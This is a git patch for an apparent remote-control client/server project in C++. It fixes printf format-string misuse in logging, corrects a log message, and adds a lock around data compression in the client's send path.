From 8ed23cc8dc3d31443a3dcbe8f7fd7bd454967a35 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 26 Oct 2025 04:53:16 +0800 Subject: [PATCH] fix: #212 Undefined behavior on printf --- client/Common.cpp | 2 +- client/IOCPClient.cpp | 6 ++++-- client/IOCPClient.h | 1 + common/logger.h | 2 +- server/2015Remote/IOCPServer.cpp | 2 +- 5 files changed, 8 insertions(+), 5 deletions(-) diff --git a/client/Common.cpp b/client/Common.cpp index 776dbef..dcc14cc 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -61,7 +61,7 @@ void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::s DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac) { - IOCPClient* ClientObject = new IOCPClient(exit, true, conn->iHeaderEnc); + IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn->iHeaderEnc); if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) { CScreenManager m(ClientObject, 32, (void*)1); if (IsWindows8orHigher()) { diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index ba3c0bd..30459c6 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -427,7 +427,8 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer, HeaderEncType encType = HeaderEncUnknown; FlagType flagType = CheckHead(szPacketFlag, encType); if (flagType == FLAG_UNKNOWN) { - Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s. Mask: %d'\n", szPacketFlag, maskType); + Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'. Mask: %d, Skip %d.\n", + szPacketFlag, maskType, ret); m_CompressedBuffer->ClearBuffer(); break; } @@ -499,8 +500,9 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, P #endif BYTE buf[1024]; LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf; - + m_Locker.Lock(); int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength); + m_Locker.Unlock(); if (Z_FAILED(iRet)) { Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength); if (CompressedBuffer != buf) delete [] CompressedBuffer; diff --git a/client/IOCPClient.h b/client/IOCPClient.h index fffa4cc..84da84e 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -223,6 +223,7 @@ protected: BOOL m_bIsRunning; BOOL m_bConnected; + CLock m_Locker; #if USING_CTX ZSTD_CCtx* m_Cctx; // 压缩上下文 ZSTD_DCtx* m_Dctx; // 解压上下文 diff --git a/common/logger.h b/common/logger.h index cc5da7c..24654c9 100644 --- a/common/logger.h +++ b/common/logger.h @@ -98,7 +98,7 @@ public: } #ifndef _WINDOWS #ifdef _DEBUG - printf(logEntry.c_str()); + printf("%s", logEntry.c_str()); #endif #endif cv.notify_one(); // 通知写线程 diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 441f03d..d7e6891 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -528,7 +528,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr } else { memcpy(buf, szBuffer, ulOriginalLength); } - Mprintf("[COMMAND] Send: " + CString(buf) + "\r\n"); + Mprintf("[COMMAND] Send: %s\r\n", buf); } try { do {